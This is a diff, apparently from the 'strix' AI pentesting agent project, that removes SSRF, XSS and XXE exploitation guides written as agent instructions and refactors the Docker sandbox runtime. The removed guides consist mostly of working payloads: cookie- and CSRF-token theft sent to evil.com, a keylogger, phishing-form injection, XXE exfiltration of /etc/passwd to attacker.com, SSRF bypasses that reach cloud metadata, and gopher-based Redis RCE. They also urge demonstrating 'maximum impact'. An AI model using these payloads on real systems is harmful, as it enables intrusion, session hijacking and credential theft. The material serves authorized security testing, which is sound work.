Redis RCE, SMTP injection, FastCGI exploitation
</gopher>
<file>
file:///etc/passwd, file:///proc/self/environ
</file>
<dict>
dict://localhost:11211/stat (Memcached)
</dict>
</protocol_exploitation>
<bypass_techniques>
<dns_rebinding>
First request → your server, second → 127.0.0.1
</dns_rebinding>
<encoding_tricks>
- Decimal IP: http://2130706433/ (127.0.0.1)
- Octal: http://0177.0.0.1/
- Hex: http://0x7f.0x0.0x0.0x1/
- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/
</encoding_tricks>
<url_parser_confusion>
- Authority: http://expected@evil/
- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/
</url_parser_confusion>
<redirect_chains>
302 → yourserver.com → 169.254.169.254
</redirect_chains>
</bypass_techniques>
<advanced_techniques>
<blind_ssrf>
- DNS exfiltration: http://$(hostname).attacker.com/
- Timing attacks for network mapping
- Error-based detection
</blind_ssrf>
<ssrf_to_rce>
- Redis: gopher://localhost:6379/ (cron injection)
- Memcached: gopher://localhost:11211/
- FastCGI: gopher://localhost:9000/
</ssrf_to_rce>
</advanced_techniques>
<filter_bypasses>
<localhost>
127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me
</localhost>
<parser_differentials>
http://evil.com#@good.com/, http:evil.com
</parser_differentials>
<protocols>
dict://, gopher://, ftp://, file://, jar://, netdoc://
</protocols>
</filter_bypasses>
<validation_techniques>
To confirm SSRF:
1. External callbacks (DNS/HTTP)
2. Internal network access (different responses)
3. Time-based detection (timeouts)
4. Cloud metadata retrieval
5. Protocol differentiation
</validation_techniques>
<false_positive_indicators>
NOT SSRF if:
- Only client-side redirects
- Whitelist properly blocking
- Generic errors for all URLs
- No outbound requests made
- Same-origin policy enforced
</false_positive_indicators>
<impact_demonstration>
- Cloud credential theft (AWS/GCP/Azure)
- Internal admin panel access
- Port scanning results
- SSRF to RCE chain
- Data exfiltration
</impact_demonstration>
<pro_tips>
1. Always check cloud metadata first
2. Chain with other vulns (SSRF + XXE)
3. Use time delays for blind SSRF
4. Try all protocols, not just HTTP
5. Automate internal network scanning
6. Check parser quirks (language-specific)
7. Monitor DNS for blind confirmation
8. Try IPv6 (often forgotten)
9. Abuse redirects for filter bypass
10. SSRF can be in any URL-fetching feature
</pro_tips>
<remember>SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access.</remember>
</ssrf_vulnerability_guide>
-221
View File
@@ -1,221 +0,0 @@
<xss_vulnerability_guide>
<title>CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION</title>
<critical>XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques.</critical>
<injection_points>
- URL parameters: ?search=, ?q=, ?name=
- Form inputs: text, textarea, hidden fields
- Headers: User-Agent, Referer, X-Forwarded-For
- Cookies (if reflected)
- File uploads (filename, metadata)
- JSON endpoints: {"user":"<payload>"}
- postMessage handlers
- DOM properties: location.hash, document.referrer
- WebSocket messages
- PDF/document generators
</injection_points>
<basic_detection>
<reflection_testing>
Simple: <random123>
HTML: <h1>test</h1>
Script: <script>alert(1)</script>
Event: <img src=x onerror=alert(1)>
Protocol: javascript:alert(1)
</reflection_testing>
<encoding_contexts>
- HTML: <>&"'
- Attribute: "'<>&
- JavaScript: "'\/\n\r\t
- URL: %3C%3E%22%27
- CSS: ()'";{}
</encoding_contexts>
</basic_detection>
<filter_bypasses>
<tag_event_bypasses>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<audio src onloadstart=alert(1)>
<video><source onerror=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus>/*</textarea><svg/onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<frameset onload=alert(1)>
</tag_event_bypasses>
<string_bypass>
- Concatenation: 'al'+'ert'
- Comments: /**/alert/**/
- Template literals: `ale${`rt`}`
- Unicode: \u0061lert
- Hex: \x61lert
- Octal: \141lert
- HTML entities: &apos;alert&apos;
- Double encoding: %253Cscript%253E
- Case variation: <ScRiPt>
</string_bypass>
<parentheses_bypass>
alert`1`
setTimeout`alert\x281\x29`
[].map.call`1${alert}2`
onerror=alert;throw 1
onerror=alert,throw 1
onerror=alert(1)//
</parentheses_bypass>
<keyword_bypass>
- Proxy: window['al'+'ert']
- Base64: atob('YWxlcnQ=')
- Hex: eval('\x61\x6c\x65\x72\x74')
- Constructor: [].constructor.constructor('alert(1)')()
- JSFuck: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
</keyword_bypass>
</filter_bypasses>
<advanced_techniques>
<dom_xss>
- Sinks: innerHTML, document.write, eval, setTimeout
- Sources: location.hash, location.search, document.referrer
- Example: element.innerHTML = location.hash
- Exploit: #<img src=x onerror=alert(1)>
</dom_xss>
<mutation_xss>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<form><button formaction=javascript:alert(1)>
</mutation_xss>
<polyglot_xss>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</polyglot_xss>
<csp_bypasses>
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
- AngularJS: {{constructor.constructor('alert(1)')()}}
- Script gadgets in allowed libraries
- Base tag injection: <base href="//evil.com/">
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
</csp_bypasses>
</advanced_techniques>
<exploitation_payloads>
<cookie_theft>
<script>fetch('//evil.com/steal?c='+document.cookie)</script>
<img src=x onerror="this.src='//evil.com/steal?c='+document.cookie">
new Image().src='//evil.com/steal?c='+document.cookie
</cookie_theft>
<keylogger>
document.onkeypress=e=>fetch('//evil.com/key?k='+e.key)
</keylogger>
<phishing>
document.body.innerHTML='<form action=//evil.com/phish><input name=pass><input type=submit></form>'
</phishing>
<csrf_token_theft>
fetch('/api/user').then(r=>r.text()).then(d=>fetch('//evil.com/token?t='+d.match(/csrf_token":"([^"]+)/)[1]))
</csrf_token_theft>
<webcam_mic_access>
navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
</webcam_mic_access>
</exploitation_payloads>
<special_contexts>
<pdf_generation>
- JavaScript in links: <a href="javascript:app.alert(1)">
- Form actions: <form action="javascript:...">
</pdf_generation>
<email_clients>
- Limited tags: <a>, <img>, <style>
- CSS injection: <style>@import'//evil.com/css'</style>
</email_clients>
<markdown>
[Click](javascript:alert(1))
![a](x"onerror="alert(1))
</markdown>
<react_vue>
- dangerouslySetInnerHTML={{__html: payload}}
- v-html directive bypass
</react_vue>
<file_upload_xss>
- SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
- HTML files
- XML with XSLT
- MIME type confusion
</file_upload_xss>
</special_contexts>
<blind_xss>
<detection>
- Out-of-band callbacks
- Service workers for persistence
- Polyglot payloads for multiple contexts
</detection>
<payloads>
'"><script src=//evil.com/blindxss.js></script>
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
</payloads>
</blind_xss>
<waf_bypasses>
<encoding>
- HTML: &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
- URL: %3Cscript%3E
- Unicode: \u003cscript\u003e
- Mixed: <scr\x69pt>
</encoding>
<obfuscation>
<a href="j&#x61;vascript:alert(1)">
<img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
<svg/onload=eval(atob('YWxlcnQoMSk='))>
</obfuscation>
<browser_bugs>
- Chrome: <svg><script>alert&lpar;1&rpar;
- Firefox specific payloads
- IE/Edge compatibility
</browser_bugs>
</waf_bypasses>
<impact_demonstration>
1. Account takeover via cookie/token theft
2. Defacement proof
3. Keylogging demonstration
4. Internal network scanning
5. Cryptocurrency miner injection
6. Phishing form injection
7. Browser exploit delivery
8. Session hijacking
9. CSRF attack chaining
10. Admin panel access
</impact_demonstration>
<pro_tips>
1. Test in all browsers - payloads vary
2. Check mobile versions - different parsers
3. Use automation for blind XSS
4. Chain with other vulnerabilities
5. Focus on impact, not just alert(1)
6. Test all input vectors systematically
7. Understand the context deeply
8. Keep payload library updated
9. Monitor CSP headers
10. Think beyond script tags
</pro_tips>
<remember>Modern XSS is about bypassing filters, CSP, and WAFs. Focus on real impact - steal sessions, phish credentials, or deliver exploits. Simple alert(1) is just the beginning.</remember>
</xss_vulnerability_guide>
-276
View File
@@ -1,276 +0,0 @@
<xxe_vulnerability_guide>
<title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
<critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
<discovery_points>
- XML file uploads (docx, xlsx, svg, xml)
- SOAP endpoints
- REST APIs accepting XML
- SAML implementations
- RSS/Atom feeds
- XML configuration files
- WebDAV
- Office document processors
- SVG image uploads
- PDF generators with XML input
</discovery_points>
<basic_payloads>
<file_disclosure>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<root>&xxe;</root>
</file_disclosure>
<ssrf_via_xxe>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
</ssrf_via_xxe>
<blind_xxe_oob>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
</blind_xxe_oob>
</basic_payloads>
<advanced_techniques>
<parameter_entities>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://evil.com/?d=%data;'>">
%param;
%exfil;
]>
</parameter_entities>
<error_based_xxe>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
</error_based_xxe>
<xxe_in_attributes>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root attr="&xxe;"/>
</xxe_in_attributes>
</advanced_techniques>
<filter_bypasses>
<encoding_tricks>
- UTF-16: <?xml version="1.0" encoding="UTF-16"?>
- UTF-7: <?xml version="1.0" encoding="UTF-7"?>
- Base64 in CDATA: <![CDATA[base64_payload]]>
</encoding_tricks>
<protocol_variations>
- file:// → file:
- file:// → netdoc://
- http:// → https://
- Gopher: gopher://
- PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
</protocol_variations>
<doctype_variations>
<!doctype foo [
<!DoCtYpE foo [
<!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
<!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
</doctype_variations>
</filter_bypasses>
<specific_contexts>
<json_xxe>
{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}
</json_xxe>
<soap_xxe>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
</soap:Body>
</soap:Envelope>
</soap_xxe>
<svg_xxe>
<svg xmlns="http://www.w3.org/2000/svg">
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<text>&xxe;</text>
</svg>
</svg_xxe>
<docx_xlsx_xxe>
1. Unzip document
2. Edit document.xml or similar
3. Add XXE payload
4. Rezip and upload
</docx_xlsx_xxe>
</specific_contexts>
<blind_xxe_techniques>
<dns_exfiltration>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://%data;.attacker.com/'>">
%param;
%exfil;
]>
</dns_exfiltration>
<ftp_exfiltration>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
%param;
%exfil;
]>
</ftp_exfiltration>
<php_wrappers>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>
</php_wrappers>
</blind_xxe_techniques>
<xxe_to_rce>
<expect_module>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
</expect_module>
<file_upload_lfi>
1. Upload malicious PHP via XXE
2. Include via LFI or direct access
</file_upload_lfi>
<java_specific>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
</java_specific>
</xxe_to_rce>
<denial_of_service>
<billion_laughs>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>
</billion_laughs>
<external_dtd_dos>
<!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
</external_dtd_dos>
</denial_of_service>
<modern_bypasses>
<xinclude>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>
</xinclude>
<xslt>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
</xslt>
</modern_bypasses>
<parser_specific>
<java>
- Supports jar: protocol
- External DTDs by default
- Parameter entities work
</java>
<dotnet>
- Supports file:// by default
- DTD processing varies by version
</dotnet>
<php>
- libxml2 based
- expect:// protocol with expect module
- php:// wrappers
</php>
<python>
- Default parsers often vulnerable
- lxml safer than xml.etree
</python>
</parser_specific>
<validation_testing>
<detection>
1. Basic entity test: &xxe;
2. External DTD: http://attacker.com/test.dtd
3. Parameter entity: %xxe;
4. Time-based: DTD with slow server
5. DNS lookup: http://test.attacker.com/
</detection>
<false_positives>
- Entity declared but not processed
- DTD loaded but entities blocked
- Output encoding preventing exploitation
- Limited file access (chroot/sandbox)
</false_positives>
</validation_testing>
<impact_demonstration>
1. Read sensitive files (/etc/passwd, web.config)
2. Cloud metadata access (AWS keys)
3. Internal network scanning (SSRF)
4. Data exfiltration proof
5. DoS demonstration
6. RCE if possible
</impact_demonstration>
<automation>
# XXE Scanner
def test_xxe(url, param):
payloads = [
'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
'<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
]
for payload in payloads:
response = requests.post(url, data={param: payload})
if 'root:' in response.text or check_callback():
return f"XXE found with: {payload}"
</automation>
<pro_tips>
1. Try all protocols, not just file://
2. Use parameter entities for blind XXE
3. Chain with SSRF for cloud metadata
4. Test different encodings (UTF-16)
5. Don't forget JSON/SOAP contexts
6. XInclude when entities are blocked
7. Error messages reveal file paths
8. Monitor DNS for blind confirmation
9. Some parsers allow network access but not files
10. Modern frameworks disable XXE by default - check configs
</pro_tips>
<remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
</xxe_vulnerability_guide>
+12 -3
View File
@@ -1,10 +1,19 @@
import os from strix.config import Config
from .runtime import AbstractRuntime from .runtime import AbstractRuntime
class SandboxInitializationError(Exception):
"""Raised when sandbox initialization fails (e.g., Docker issues)."""
def __init__(self, message: str, details: str | None = None):
super().__init__(message)
self.message = message
self.details = details
def get_runtime() -> AbstractRuntime: def get_runtime() -> AbstractRuntime:
runtime_backend = os.getenv("STRIX_RUNTIME_BACKEND", "docker") runtime_backend = Config.get("strix_runtime_backend")
if runtime_backend == "docker": if runtime_backend == "docker":
from .docker_runtime import DockerRuntime from .docker_runtime import DockerRuntime
@@ -16,4 +25,4 @@ def get_runtime() -> AbstractRuntime:
) )
__all__ = ["AbstractRuntime", "get_runtime"] __all__ = ["AbstractRuntime", "SandboxInitializationError", "get_runtime"]
+409 -170
View File
@@ -1,40 +1,85 @@
import contextlib
import logging import logging
import os import os
import secrets import secrets
import socket import socket
import time import time
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import TimeoutError as FuturesTimeoutError
from pathlib import Path from pathlib import Path
from typing import cast from typing import Any, cast
import docker import docker
from docker.errors import DockerException, NotFound from docker.errors import DockerException, ImageNotFound, NotFound
from docker.models.containers import Container from docker.models.containers import Container
from requests.exceptions import ConnectionError as RequestsConnectionError
from requests.exceptions import Timeout as RequestsTimeout
from strix.config import Config
from . import SandboxInitializationError
from .runtime import AbstractRuntime, SandboxInfo from .runtime import AbstractRuntime, SandboxInfo
STRIX_AGENT_LABEL = "StrixAgent_ID" HOST_GATEWAY_HOSTNAME = "host.docker.internal"
STRIX_SCAN_LABEL = "StrixScan_ID" DOCKER_TIMEOUT = 60 # seconds
STRIX_IMAGE = os.getenv("STRIX_IMAGE", "ghcr.io/usestrix/strix-sandbox:0.1.4") TOOL_SERVER_HEALTH_REQUEST_TIMEOUT = 5 # seconds per health check request
TOOL_SERVER_HEALTH_RETRIES = 10 # number of retries for health check
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
_initialized_volumes: set[str] = set()
class DockerRuntime(AbstractRuntime): class DockerRuntime(AbstractRuntime):
def __init__(self) -> None: def __init__(self) -> None:
try: try:
self.client = docker.from_env() self.client = docker.from_env(timeout=DOCKER_TIMEOUT)
except DockerException as e: except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
logger.exception("Failed to connect to Docker daemon") logger.exception("Failed to connect to Docker daemon")
raise RuntimeError("Docker is not available or not configured correctly.") from e if isinstance(e, RequestsConnectionError | RequestsTimeout):
raise SandboxInitializationError(
"Docker daemon unresponsive",
f"Connection timed out after {DOCKER_TIMEOUT} seconds. "
"Please ensure Docker Desktop is installed and running, "
"and try running strix again.",
) from e
raise SandboxInitializationError(
"Docker is not available",
"Docker is not available or not configured correctly. "
"Please ensure Docker Desktop is installed and running, "
"and try running strix again.",
) from e
self._scan_container: Container | None = None
self._tool_server_port: int | None = None
self._tool_server_token: str | None = None
def _generate_sandbox_token(self) -> str: def _generate_sandbox_token(self) -> str:
return secrets.token_urlsafe(32) return secrets.token_urlsafe(32)
def _find_available_port(self) -> int:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(("", 0))
return cast("int", s.getsockname()[1])
def _exec_run_with_timeout(
self, container: Container, cmd: str, timeout: int = DOCKER_TIMEOUT, **kwargs: Any
) -> Any:
with ThreadPoolExecutor(max_workers=1) as executor:
future = executor.submit(container.exec_run, cmd, **kwargs)
try:
return future.result(timeout=timeout)
except FuturesTimeoutError:
logger.exception(f"exec_run timed out after {timeout}s: {cmd[:100]}...")
raise SandboxInitializationError(
"Container command timed out",
f"Command timed out after {timeout} seconds. "
"Docker may be overloaded or unresponsive. "
"Please ensure Docker Desktop is installed and running, "
"and try running strix again.",
) from None
def _get_scan_id(self, agent_id: str) -> str: def _get_scan_id(self, agent_id: str) -> str:
try: try:
from strix.cli.tracer import get_global_tracer from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer() tracer = get_global_tracer()
if tracer and tracer.scan_config: if tracer and tracer.scan_config:
@@ -46,226 +91,420 @@ class DockerRuntime(AbstractRuntime):
return f"scan-{agent_id.split('-')[0]}" return f"scan-{agent_id.split('-')[0]}"
def _find_available_port(self) -> int: def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: def _validate_image(image: docker.models.images.Image) -> None:
s.bind(("", 0)) if not image.id or not image.attrs:
return cast("int", s.getsockname()[1]) raise ImageNotFound(f"Image {image_name} metadata incomplete")
def _get_workspace_volume_name(self, scan_id: str) -> str: for attempt in range(max_retries):
return f"strix-workspace-{scan_id}" try:
image = self.client.images.get(image_name)
_validate_image(image)
except ImageNotFound:
if attempt == max_retries - 1:
logger.exception(f"Image {image_name} not found after {max_retries} attempts")
raise
logger.warning(f"Image {image_name} not ready, attempt {attempt + 1}/{max_retries}")
time.sleep(2**attempt)
except DockerException:
if attempt == max_retries - 1:
logger.exception(f"Failed to verify image {image_name}")
raise
logger.warning(f"Docker error verifying image, attempt {attempt + 1}/{max_retries}")
time.sleep(2**attempt)
else:
logger.debug(f"Image {image_name} verified as available")
return
def _create_container_with_retry(self, scan_id: str, max_retries: int = 3) -> Container:
last_exception = None
container_name = f"strix-scan-{scan_id}"
image_name = Config.get("strix_image")
if not image_name:
raise ValueError("STRIX_IMAGE must be configured")
for attempt in range(max_retries):
try:
self._verify_image_available(image_name)
try:
existing_container = self.client.containers.get(container_name)
logger.warning(f"Container {container_name} already exists, removing it")
with contextlib.suppress(Exception):
existing_container.stop(timeout=5)
existing_container.remove(force=True)
time.sleep(1)
except NotFound:
pass
except DockerException as e:
logger.warning(f"Error checking/removing existing container: {e}")
caido_port = self._find_available_port()
tool_server_port = self._find_available_port()
tool_server_token = self._generate_sandbox_token()
self._tool_server_port = tool_server_port
self._tool_server_token = tool_server_token
container = self.client.containers.run(
image_name,
command="sleep infinity",
detach=True,
name=container_name,
hostname=f"strix-scan-{scan_id}",
ports={
f"{caido_port}/tcp": caido_port,
f"{tool_server_port}/tcp": tool_server_port,
},
cap_add=["NET_ADMIN", "NET_RAW"],
labels={"strix-scan-id": scan_id},
environment={
"PYTHONUNBUFFERED": "1",
"CAIDO_PORT": str(caido_port),
"TOOL_SERVER_PORT": str(tool_server_port),
"TOOL_SERVER_TOKEN": tool_server_token,
"HOST_GATEWAY": HOST_GATEWAY_HOSTNAME,
},
extra_hosts=self._get_extra_hosts(),
tty=True,
)
self._scan_container = container
logger.info("Created container %s for scan %s", container.id, scan_id)
self._initialize_container(
container, caido_port, tool_server_port, tool_server_token
)
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
last_exception = e
if attempt == max_retries - 1:
logger.exception(f"Failed to create container after {max_retries} attempts")
break
logger.warning(f"Container creation attempt {attempt + 1}/{max_retries} failed")
self._tool_server_port = None
self._tool_server_token = None
sleep_time = (2**attempt) + (0.1 * attempt)
time.sleep(sleep_time)
else:
return container
if isinstance(last_exception, RequestsConnectionError | RequestsTimeout):
raise SandboxInitializationError(
"Failed to create sandbox container",
f"Docker daemon unresponsive after {max_retries} attempts "
f"(timed out after {DOCKER_TIMEOUT}s). "
"Please ensure Docker Desktop is installed and running, "
"and try running strix again.",
) from last_exception
raise SandboxInitializationError(
"Failed to create sandbox container",
f"Container creation failed after {max_retries} attempts: {last_exception}. "
"Please ensure Docker Desktop is installed and running, "
"and try running strix again.",
) from last_exception
def _get_or_create_scan_container(self, scan_id: str) -> Container: # noqa: PLR0912
container_name = f"strix-scan-{scan_id}"
if self._scan_container:
try:
self._scan_container.reload()
if self._scan_container.status == "running":
return self._scan_container
except NotFound:
self._scan_container = None
self._tool_server_port = None
self._tool_server_token = None
try:
container = self.client.containers.get(container_name)
container.reload()
if (
"strix-scan-id" not in container.labels
or container.labels["strix-scan-id"] != scan_id
):
logger.warning(
f"Container {container_name} exists but missing/wrong label, updating"
)
if container.status != "running":
logger.info(f"Starting existing container {container_name}")
container.start()
time.sleep(2)
self._scan_container = container
for env_var in container.attrs["Config"]["Env"]:
if env_var.startswith("TOOL_SERVER_PORT="):
self._tool_server_port = int(env_var.split("=")[1])
elif env_var.startswith("TOOL_SERVER_TOKEN="):
self._tool_server_token = env_var.split("=")[1]
logger.info(f"Reusing existing container {container_name}")
except NotFound:
pass
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
logger.warning(f"Failed to get container by name {container_name}: {e}")
else:
return container
def _get_sandbox_by_agent_id(self, agent_id: str) -> Container | None:
try: try:
containers = self.client.containers.list( containers = self.client.containers.list(
filters={"label": f"{STRIX_AGENT_LABEL}={agent_id}"} all=True, filters={"label": f"strix-scan-id={scan_id}"}
) )
if not containers: if containers:
return None container = containers[0]
if len(containers) > 1: if container.status != "running":
logger.warning( container.start()
"Multiple sandboxes found for agent ID %s, using the first one.", agent_id time.sleep(2)
self._scan_container = container
for env_var in container.attrs["Config"]["Env"]:
if env_var.startswith("TOOL_SERVER_PORT="):
self._tool_server_port = int(env_var.split("=")[1])
elif env_var.startswith("TOOL_SERVER_TOKEN="):
self._tool_server_token = env_var.split("=")[1]
logger.info(f"Found existing container by label for scan {scan_id}")
return container
except (DockerException, RequestsConnectionError, RequestsTimeout) as e:
logger.warning("Failed to find existing container by label for scan %s: %s", scan_id, e)
logger.info("Creating new Docker container for scan %s", scan_id)
return self._create_container_with_retry(scan_id)
def _initialize_container(
self, container: Container, caido_port: int, tool_server_port: int, tool_server_token: str
) -> None:
logger.info("Initializing Caido proxy on port %s", caido_port)
self._exec_run_with_timeout(
container,
f"bash -c 'export CAIDO_PORT={caido_port} && /usr/local/bin/docker-entrypoint.sh true'",
detach=False,
)
time.sleep(5)
result = self._exec_run_with_timeout(
container,
"bash -c 'source /etc/profile.d/proxy.sh && echo $CAIDO_API_TOKEN'",
user="pentester",
)
caido_token = result.output.decode().strip() if result.exit_code == 0 else ""
container.exec_run(
f"bash -c 'source /etc/profile.d/proxy.sh && cd /app && "
f"STRIX_SANDBOX_MODE=true CAIDO_API_TOKEN={caido_token} CAIDO_PORT={caido_port} "
f"poetry run python strix/runtime/tool_server.py --token {tool_server_token} "
f"--host 0.0.0.0 --port {tool_server_port} &'",
detach=True,
user="pentester",
)
time.sleep(2)
host = self._resolve_docker_host()
health_url = f"http://{host}:{tool_server_port}/health"
self._wait_for_tool_server_health(health_url)
def _wait_for_tool_server_health(
self,
health_url: str,
max_retries: int = TOOL_SERVER_HEALTH_RETRIES,
request_timeout: int = TOOL_SERVER_HEALTH_REQUEST_TIMEOUT,
) -> None:
import httpx
logger.info(f"Waiting for tool server health at {health_url}")
for attempt in range(max_retries):
try:
with httpx.Client(trust_env=False, timeout=request_timeout) as client:
response = client.get(health_url)
response.raise_for_status()
health_data = response.json()
if health_data.get("status") == "healthy":
logger.info(
f"Tool server is healthy after {attempt + 1} attempt(s): {health_data}"
)
return
logger.warning(f"Tool server returned unexpected status: {health_data}")
except httpx.ConnectError:
logger.debug(
f"Tool server not ready (attempt {attempt + 1}/{max_retries}): "
f"Connection refused"
) )
return cast("Container", containers[0]) except httpx.TimeoutException:
except DockerException as e: logger.debug(
logger.warning("Failed to get sandbox by agent ID %s: %s", agent_id, e) f"Tool server not ready (attempt {attempt + 1}/{max_retries}): "
return None f"Request timed out"
)
except (httpx.RequestError, httpx.HTTPStatusError) as e:
logger.debug(f"Tool server not ready (attempt {attempt + 1}/{max_retries}): {e}")
def _ensure_workspace_volume(self, volume_name: str) -> None: sleep_time = min(2**attempt * 0.5, 5)
try: time.sleep(sleep_time)
self.client.volumes.get(volume_name)
logger.info(f"Using existing workspace volume: {volume_name}")
except NotFound:
self.client.volumes.create(name=volume_name, driver="local")
logger.info(f"Created new workspace volume: {volume_name}")
def _copy_local_directory_to_container(self, container: Container, local_path: str) -> None: raise SandboxInitializationError(
"Tool server failed to start",
"Please ensure Docker Desktop is installed and running, and try running strix again.",
)
def _copy_local_directory_to_container(
self, container: Container, local_path: str, target_name: str | None = None
) -> None:
import tarfile import tarfile
from io import BytesIO from io import BytesIO
try: try:
local_path_obj = Path(local_path).resolve() local_path_obj = Path(local_path).resolve()
if not local_path_obj.exists() or not local_path_obj.is_dir(): if not local_path_obj.exists() or not local_path_obj.is_dir():
logger.warning(f"Local path does not exist or is not a directory: {local_path_obj}") logger.warning(f"Local path does not exist or is not directory: {local_path_obj}")
return return
logger.info(f"Copying local directory {local_path_obj} to container {container.id}") if target_name:
logger.info(
f"Copying local directory {local_path_obj} to container at "
f"/workspace/{target_name}"
)
else:
logger.info(f"Copying local directory {local_path_obj} to container")
tar_buffer = BytesIO() tar_buffer = BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar: with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
for item in local_path_obj.rglob("*"): for item in local_path_obj.rglob("*"):
if item.is_file(): if item.is_file():
arcname = item.relative_to(local_path_obj) rel_path = item.relative_to(local_path_obj)
arcname = Path(target_name) / rel_path if target_name else rel_path
tar.add(item, arcname=arcname) tar.add(item, arcname=arcname)
tar_buffer.seek(0) tar_buffer.seek(0)
container.put_archive("/workspace", tar_buffer.getvalue())
container.put_archive("/shared_workspace", tar_buffer.getvalue())
container.exec_run( container.exec_run(
"chown -R pentester:pentester /shared_workspace && chmod -R 755 /shared_workspace", "chown -R pentester:pentester /workspace && chmod -R 755 /workspace",
user="root", user="root",
) )
logger.info( logger.info("Successfully copied local directory to /workspace")
f"Successfully copied {local_path_obj} to /shared_workspace in container "
f"{container.id}"
)
